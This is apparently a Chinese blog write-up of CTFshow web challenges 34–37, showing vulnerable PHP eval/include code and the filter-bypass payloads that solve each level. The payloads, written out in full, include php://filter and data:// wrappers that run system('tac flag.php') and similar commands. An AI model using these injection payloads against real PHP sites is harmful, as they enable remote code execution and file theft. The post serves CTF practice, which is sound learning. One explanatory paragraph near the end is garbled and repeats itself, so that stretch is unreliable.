CTFshow系列——命令执行web34-37

各位好久不见,也是歇了两周差不多,想想也是好久没写CTF的东西了,也是刚好练练手。不然九月各种重保和HVV要去参加,也是没时间写了。

接下来要是有时间的话我把自己的面试题整理一下,发出来给大家看看;

文章目录


Web34

好了,也是话不多说,直接上代码

bash 复制代码
<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

可以发现跟Web33也是差不多的,那到底多了什么地方?对比一下,其实也就是个 : 的区别:

那么这么说,这里还是能用php伪协议呗:(跟上一关的payload一样)

bash 复制代码
# 直接上payload
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

# 下面的需要查看源代码
?c=include$_GET[1]?>&1=data://text/plain,<?php system('head -n 20 flag.php');?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system('tail -n 20 flag.php');?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system('less flag.php');?>
?c=include$_GET[1]?>&1=data://text/plain,<?php system('more flag.php');?>

所以也是得到flag:

ctfshow{09ed7dbb-839f-4fb3-83ba-d8a0916cdec9}

--

Web35

bash 复制代码
<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

还是老样子,对比发现,增加了对 <= 的过滤:

好像没什么用哈哈,payload继续同上;

--

Web36

期待这一题会新颖一点:

bash 复制代码
<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

哎,看起来多了点东西;

看来还增加了对 \ 和数字 [0-9] 的过滤,那接下来我们要想什么方法进行绕过呢?

  1. 将include$_GET[1]?的参数改为字母;
  2. 还可以尝试POST型

这里主要尝试一下POST型的payload:首先F12------>打开Hackbar:

php 复制代码
# POST型
?c=include$_GET[abc]?>
abc=php://filter/read=convert.base64-encode/resource=flag.php

# GET型
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[1]?>&1=data://text/plain,<?php system("tac flag.php")?>

然后execute一下,也是可以看到base64编码的结果:那么上几关应该也是可以的

解码一下结果,也是得到flag:

--

Web37

还是期待有新的不一样:

bash 复制代码
<?php

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

唉,有的兄弟,还是有的。

这里我们不知道代码是什么意思,丢进AI里问一下:

答: 这道 CTF 题目的核心是绕过正则过滤,通过include()函数读取flag.php中的内容

过滤了flag ,又是 include 文件包含,利用伪协议读flag,payload同上 ... . ... 吗?

bash 复制代码
# 尝试一下
?c=include$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php
?c=include$_GET[a]?>&a=data://text/plain,<?php system("tac flag.php")?>

发现无论是页面还是源代码都没有反应,这怎么办呢?

答: 这个时候data还可以将内容进行base64编码:

php 复制代码
# bash
?c=data://text/plain;base64,PD9waHAgCnN5c3RlbSgidGFjIGZsYWcucGhwIikKPz4=
?c=data://text/plain,<?php system('cat fla?.php');?>
?c=data://text/plain,<?php system('tac fla*');?>

看来这道题目跟前面还是有点不一样的:

对比一下38关与前面几关的区别:

  1. 前几关(?c=include$_GET[1]?>&1=...)的核心作用是:在 c 中手动构造 i n c l u d e 逻辑,将恶意代码拆分到另一个参数( 1 )中。这是因为它们的执行逻辑是 e v a l ( c中手动构造include逻辑,将恶意代码拆分到另一个参数(1)中。这是因为它们的执行逻辑是eval( c中手动构造include逻辑,将恶意代码拆分到另一个参数(1)中。这是因为它们的执行逻辑是eval(c)
  2. 而本关核心执行逻辑是include($c)------代码本身已经自带了include操作 。当我们传递?c=data://text/plain,<?php ... ?>时,include( c ) 会直接解析 c)会直接解析 c)会直接解析c的值(这里是data://伪协议内容),相当于自动执行了 "包含并运行代码" 的操作

--

总结

今天先写到这里,之后我会慢慢把ctfshow的所有CTF题目写出来(毕竟600块的会员不能白花是不是---心碎,太贵了)